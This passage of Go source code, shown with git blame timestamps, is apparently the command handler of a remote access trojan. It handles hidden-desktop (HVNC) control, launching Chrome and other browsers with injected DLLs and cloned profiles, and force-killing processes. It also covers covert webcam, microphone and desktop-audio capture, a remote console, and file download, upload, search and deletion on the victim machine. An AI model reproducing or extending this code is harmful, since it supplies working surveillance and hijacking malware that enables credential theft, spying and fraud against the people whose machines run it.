|
|
|
delta = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
delta = v
|
|
|
|
|
case int64:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["x"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
x = v
|
|
|
|
|
case int64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["y"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
y = v
|
|
|
|
|
case int64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-09 19:16:13 -05:00
|
|
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "hvnc_key_down":
|
|
|
|
|
if !env.HVNCKeyboardControl {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
code := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["code"].(string); ok {
|
|
|
|
|
code = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
2026-03-09 19:16:13 -05:00
|
|
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_key_up":
|
|
|
|
|
if !env.HVNCKeyboardControl {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
code := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["code"].(string); ok {
|
|
|
|
|
code = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
2026-03-09 19:16:13 -05:00
|
|
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_start_process":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
filePath := ""
|
2026-03-21 17:42:31 -05:00
|
|
|
killExe := ""
|
2026-04-17 18:43:16 -05:00
|
|
|
operaPatch := false
|
2026-03-05 00:04:26 -06:00
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["path"].(string); ok {
|
|
|
|
|
filePath = v
|
|
|
|
|
}
|
2026-03-21 17:42:31 -05:00
|
|
|
if v, ok := payload["kill_exe"].(string); ok {
|
|
|
|
|
killExe = v
|
|
|
|
|
}
|
2026-04-17 18:43:16 -05:00
|
|
|
if v, ok := payload["opera_patch"].(bool); ok {
|
|
|
|
|
operaPatch = v
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
2026-04-17 18:43:16 -05:00
|
|
|
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
|
2026-03-05 00:04:26 -06:00
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
2026-03-09 19:16:13 -05:00
|
|
|
goSafe("hvnc_start_process", nil, func() {
|
2026-03-21 17:42:31 -05:00
|
|
|
if killExe != "" {
|
|
|
|
|
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
|
|
|
|
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
|
|
|
|
}
|
2026-04-17 18:43:16 -05:00
|
|
|
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
|
2026-03-09 19:16:13 -05:00
|
|
|
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
|
|
|
|
}
|
|
|
|
|
})
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
2026-03-08 22:31:11 -05:00
|
|
|
|
2026-04-24 09:53:28 -05:00
|
|
|
case "hvnc_kill_all":
|
|
|
|
|
log.Printf("hvnc: kill all processes on hidden desktop")
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
goSafe("hvnc_kill_all", nil, func() {
|
|
|
|
|
if err := capture.HVNCKillAll(); err != nil {
|
|
|
|
|
log.Printf("hvnc: kill all failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
|
2026-04-17 09:56:04 -05:00
|
|
|
case "hvnc_browser_check":
|
|
|
|
|
log.Printf("hvnc: browser availability check requested")
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
goSafe("hvnc_browser_check", nil, func() {
|
|
|
|
|
browsers := capture.CheckInstalledBrowsers()
|
|
|
|
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
|
|
|
|
|
Type: "hvnc_browser_check_result",
|
|
|
|
|
Browsers: browsers,
|
|
|
|
|
})
|
|
|
|
|
log.Printf("hvnc: browser check complete: %v", browsers)
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
|
2026-03-21 17:42:31 -05:00
|
|
|
case "hvnc_lookup":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
exeName := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["exe"].(string); ok {
|
|
|
|
|
exeName = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if exeName == "" {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: lookup exe %q", exeName)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
goSafe("hvnc_lookup", nil, func() {
|
|
|
|
|
filesearch.LookupExe(exeName, 8, func(path string) {
|
|
|
|
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
|
|
|
|
Type: "hvnc_lookup_result",
|
|
|
|
|
Exe: exeName,
|
|
|
|
|
Path: path,
|
|
|
|
|
Done: false,
|
|
|
|
|
})
|
|
|
|
|
})
|
|
|
|
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
|
|
|
|
Type: "hvnc_lookup_result",
|
|
|
|
|
Exe: exeName,
|
|
|
|
|
Path: "",
|
|
|
|
|
Done: true,
|
|
|
|
|
})
|
|
|
|
|
log.Printf("hvnc: lookup complete for %q", exeName)
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
|
2026-03-11 23:11:44 -05:00
|
|
|
case "hvnc_start_process_injected":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
filePath := ""
|
|
|
|
|
searchPath := ""
|
|
|
|
|
replacePath := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["path"].(string); ok {
|
|
|
|
|
filePath = v
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["search_path"].(string); ok {
|
|
|
|
|
searchPath = v
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["replace_path"].(string); ok {
|
|
|
|
|
replacePath = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
dllBytes := extractDLLBytes(payload)
|
|
|
|
|
if len(dllBytes) == 0 {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
2026-04-16 10:01:49 -05:00
|
|
|
captureDllBytes := extractCaptureDLLBytes(payload)
|
|
|
|
|
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
|
2026-03-11 23:11:44 -05:00
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
goSafe("hvnc_start_process_injected", nil, func() {
|
2026-04-17 09:56:04 -05:00
|
|
|
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
2026-03-11 23:11:44 -05:00
|
|
|
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
|
|
|
|
|
case "hvnc_start_chrome_injected":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
chromePath := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["path"].(string); ok {
|
|
|
|
|
chromePath = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
dllBytes := extractDLLBytes(payload)
|
|
|
|
|
if len(dllBytes) == 0 {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
2026-04-16 10:01:49 -05:00
|
|
|
captureDllBytes := extractCaptureDLLBytes(payload)
|
2026-03-11 23:11:44 -05:00
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
goSafe("hvnc_start_chrome_injected", nil, func() {
|
2026-04-16 10:01:49 -05:00
|
|
|
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
2026-03-11 23:11:44 -05:00
|
|
|
log.Printf("hvnc: chrome injected failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
|
|
|
|
|
case "hvnc_start_browser_injected":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
browser := ""
|
|
|
|
|
exePath := ""
|
|
|
|
|
clone := true
|
2026-03-12 01:06:57 -05:00
|
|
|
cloneLite := false
|
2026-03-17 23:55:39 -05:00
|
|
|
killIfRunning := false
|
2026-03-11 23:11:44 -05:00
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["browser"].(string); ok {
|
|
|
|
|
browser = v
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["path"].(string); ok {
|
|
|
|
|
exePath = v
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["clone"].(bool); ok {
|
|
|
|
|
clone = v
|
|
|
|
|
}
|
2026-03-12 01:06:57 -05:00
|
|
|
if v, ok := payload["cloneLite"].(bool); ok {
|
|
|
|
|
cloneLite = v
|
|
|
|
|
}
|
2026-03-14 20:11:47 -05:00
|
|
|
if v, ok := payload["killIfRunning"].(bool); ok {
|
|
|
|
|
killIfRunning = v
|
|
|
|
|
}
|
2026-03-11 23:11:44 -05:00
|
|
|
}
|
|
|
|
|
dllBytes := extractDLLBytes(payload)
|
|
|
|
|
if len(dllBytes) == 0 {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
if browser == "" {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
2026-03-14 20:11:47 -05:00
|
|
|
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
|
2026-04-16 10:01:49 -05:00
|
|
|
captureDllBytes := extractCaptureDLLBytes(payload)
|
2026-03-11 23:11:44 -05:00
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
goSafe("hvnc_start_browser_injected", nil, func() {
|
2026-03-12 14:41:03 -05:00
|
|
|
var onProgress capture.CloneProgressFunc
|
|
|
|
|
if clone {
|
|
|
|
|
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
|
|
|
|
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
|
|
|
|
|
Type: "hvnc_clone_progress",
|
|
|
|
|
Browser: browser,
|
|
|
|
|
Percent: percent,
|
|
|
|
|
CopiedBytes: copiedBytes,
|
|
|
|
|
TotalBytes: totalBytes,
|
|
|
|
|
Status: status,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-04-16 14:22:28 -05:00
|
|
|
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
|
|
|
|
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
|
|
|
|
|
Type: "hvnc_dxgi_status",
|
|
|
|
|
Success: success,
|
|
|
|
|
GPUPid: gpuPID,
|
|
|
|
|
Message: message,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
|
2026-03-11 23:11:44 -05:00
|
|
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
|
2026-03-08 22:31:11 -05:00
|
|
|
case "webcam_start":
|
|
|
|
|
env.WebcamMu.Lock()
|
|
|
|
|
if env.WebcamCancel != nil {
|
|
|
|
|
env.WebcamCancel()
|
|
|
|
|
waitStreamStop(env.WebcamDone, "webcam")
|
|
|
|
|
}
|
|
|
|
|
webcamCtx, cancel := context.WithCancel(ctx)
|
|
|
|
|
env.WebcamCancel = cancel
|
|
|
|
|
done := make(chan struct{})
|
|
|
|
|
env.WebcamDone = done
|
|
|
|
|
goSafe("webcam stream", env.Cancel, func() {
|
|
|
|
|
log.Printf("webcam: start requested")
|
|
|
|
|
_ = WebcamStart(webcamCtx, env)
|
|
|
|
|
close(done)
|
|
|
|
|
})
|
|
|
|
|
env.WebcamMu.Unlock()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "webcam_list":
|
|
|
|
|
devices, err := capture.ListWebcams()
|
|
|
|
|
if err != nil {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, err.Error())
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
out := make([]wire.WebcamDevice, 0, len(devices))
|
|
|
|
|
for _, dev := range devices {
|
|
|
|
|
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
|
|
|
|
|
}
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "webcam_select":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
index := 0
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if n, ok := payloadInt(payload, "index"); ok {
|
|
|
|
|
index = n
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
env.WebcamDeviceIndex = index
|
|
|
|
|
capture.CleanupWebcam()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "webcam_set_fps":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
env.WebcamMu.Lock()
|
|
|
|
|
isStreaming := env.WebcamCancel != nil
|
|
|
|
|
env.WebcamMu.Unlock()
|
|
|
|
|
if isStreaming {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
fps := env.WebcamFPS
|
|
|
|
|
useMax := env.WebcamUseMaxFPS
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if n, ok := payloadInt(payload, "fps"); ok {
|
|
|
|
|
fps = n
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["useMax"].(bool); ok {
|
|
|
|
|
useMax = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if fps < 1 {
|
|
|
|
|
fps = 30
|
|
|
|
|
}
|
|
|
|
|
if fps > 120 {
|
|
|
|
|
fps = 120
|
|
|
|
|
}
|
|
|
|
|
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
|
|
|
|
|
if clampErr != nil {
|
|
|
|
|
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
|
|
|
|
|
} else {
|
|
|
|
|
fps = clampedFPS
|
|
|
|
|
}
|
|
|
|
|
env.WebcamFPS = fps
|
|
|
|
|
env.WebcamUseMaxFPS = useMax
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-04-03 10:21:26 -05:00
|
|
|
case "webcam_set_quality":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
quality := 0
|
|
|
|
|
codec := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if q, ok := payloadInt(payload, "quality"); ok {
|
|
|
|
|
quality = q
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["codec"].(string); ok {
|
|
|
|
|
codec = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if quality < 0 {
|
|
|
|
|
quality = 0
|
|
|
|
|
}
|
|
|
|
|
if quality > 100 {
|
|
|
|
|
quality = 100
|
|
|
|
|
}
|
|
|
|
|
switch codec {
|
|
|
|
|
case "jpeg", "h264":
|
|
|
|
|
// valid
|
|
|
|
|
default:
|
|
|
|
|
codec = "jpeg"
|
|
|
|
|
}
|
|
|
|
|
env.WebcamQuality = quality
|
|
|
|
|
env.WebcamCodec = codec
|
|
|
|
|
log.Printf("webcam: set quality=%d codec=%s", quality, codec)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-03-08 22:31:11 -05:00
|
|
|
case "webcam_stop":
|
|
|
|
|
env.WebcamMu.Lock()
|
|
|
|
|
log.Printf("webcam: stop requested")
|
|
|
|
|
if env.WebcamCancel != nil {
|
|
|
|
|
env.WebcamCancel()
|
|
|
|
|
}
|
|
|
|
|
waitStreamStop(env.WebcamDone, "webcam")
|
|
|
|
|
env.WebcamCancel = nil
|
|
|
|
|
env.WebcamDone = nil
|
|
|
|
|
env.WebcamMu.Unlock()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
case "console_start":
|
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
|
|
|
cols, rows := envelopePayloadInts(envelope)
|
|
|
|
|
if sessionID == "" {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
|
|
|
|
|
}
|
|
|
|
|
if err := console.Start(ctx, env, sessionID, cols, rows); err != nil {
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "console_input":
|
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
|
|
|
data, _ := envelopePayloadString(envelope, "data")
|
|
|
|
|
if sessionID != "" && data != "" {
|
|
|
|
|
_ = console.Input(sessionID, data)
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "console_stop":
|
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
|
|
|
if sessionID != "" {
|
|
|
|
|
console.Stop(sessionID)
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "console_resize":
|
|
|
|
|
|
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
|
|
|
cols, rows := envelopePayloadInts(envelope)
|
|
|
|
|
_ = sessionID
|
|
|
|
|
console.Resize(sessionID, cols, rows)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
2026-03-07 23:27:57 -06:00
|
|
|
case "voice_session_start":
|
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
|
|
|
source := "default"
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
|
|
|
|
|
source = strings.TrimSpace(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if err := startVoiceSession(ctx, env, sessionID, source); err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "voice_session_stop":
|
|
|
|
|
stopVoiceSession()
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "voice_downlink":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
|
|
|
|
|
}
|
|
|
|
|
data, _ := payload["data"].([]byte)
|
|
|
|
|
if err := writeVoiceDownlink(data); err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "voice_capabilities":
|
|
|
|
|
caps := audio.ProbeCapabilities()
|
|
|
|
|
payload, _ := json.Marshal(caps)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
|
2026-04-16 17:19:56 -05:00
|
|
|
case "desktop_audio_start":
|
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
|
|
|
source := "system"
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
|
|
|
|
|
source = strings.TrimSpace(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "desktop_audio_stop":
|
|
|
|
|
stopDesktopAudioSession()
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
switch action {
|
|
|
|
|
case "file_list":
|
|
|
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
|
|
|
return HandleFileList(ctx, env, cmdID, path)
|
|
|
|
|
case "file_download":
|
|
|
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
|
|
|
return HandleFileDownload(ctx, env, cmdID, path)
|
|
|
|
|
case "file_upload":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
|
|
|
|
offset := payloadNumberToInt64(payload["offset"])
|
|
|
|
|
total := payloadNumberToInt64(payload["total"])
|
|
|
|
|
transferID, _ := payload["transferId"].(string)
|
|
|
|
|
data := []byte{}
|
|
|
|
|
if d, ok := payload["data"].([]byte); ok {
|
|
|
|
|
data = d
|
|
|
|
|
}
|
|
|
|
|
return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID)
|
2026-03-08 00:53:22 -06:00
|
|
|
case "file_upload_http":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
|
|
|
|
sourceURL, _ := payload["url"].(string)
|
|
|
|
|
total := payloadNumberToInt64(payload["total"])
|
|
|
|
|
return HandleFileUploadHTTP(ctx, env, cmdID, path, sourceURL, total)
|
2026-03-05 00:04:26 -06:00
|
|
|
case "file_delete":
|
|
|
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
|
|
|
return HandleFileDelete(ctx, env, cmdID, path)
|
|
|
|
|
case "file_mkdir":
|
|
|
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
|
|
|
return HandleFileMkdir(ctx, env, cmdID, path)
|
|
|
|
|
case "file_zip":
|
|
|
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
|
|
|
|
|
|
|
|
zipCtx, cancel := context.WithCancel(ctx)
|
|
|
|
|
registerCancellableCommand(cmdID, cancel)
|
|
|
|
|
goSafe("file_zip", env.Cancel, func() {
|
|
|
|
|
defer unregisterCommand(cmdID)
|
|
|
|
|
if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled {
|
|
|
|
|
log.Printf("file_zip error: %v", err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
return nil
|
|
|
|
|
case "file_read":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
|
|
|
|
maxSize := int64(0)
|
|
|
|
|
if ms, ok := payload["maxSize"].(float64); ok {
|
|
|
|
|
maxSize = int64(ms)
|
|
|
|
|
}
|
|
|
|
|
return HandleFileRead(ctx, env, cmdID, path, maxSize)
|
|
|
|
|
case "file_write":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
|
|
|
|
content, _ := payload["content"].(string)
|
|
|
|
|
return HandleFileWrite(ctx, env, cmdID, path, content)
|
|
|
|
|
case "file_search":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
searchID, _ := payload["searchId"].(string)
|
|
|
|
|
basePath, _ := payload["path"].(string)
|
|
|
|
|
pattern, _ := payload["pattern"].(string)
|
|
|
|
|
searchContent := false
|
|
|
|
|
if sc, ok := payload["searchContent"].(bool); ok {
|
|
|
|
|
searchContent = sc
|
|
|
|
|
}
|
|
|
|
|
maxResults := 0
|
|
|
|
|
if mr, ok := payload["maxResults"].(float64); ok {
|
|
|
|
|
maxResults = int(mr)
|
|
|
|
|
}
|
|
|
|
|
return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults)
|
|
|
|
|
case "file_copy":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
source, _ := payload["source"].(string)
|
|
|
|
|
dest, _ := payload["dest"].(string)
|
|
|
|
|
return HandleFileCopy(ctx, env, cmdID, source, dest)
|
|
|
|
|
case "file_move":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
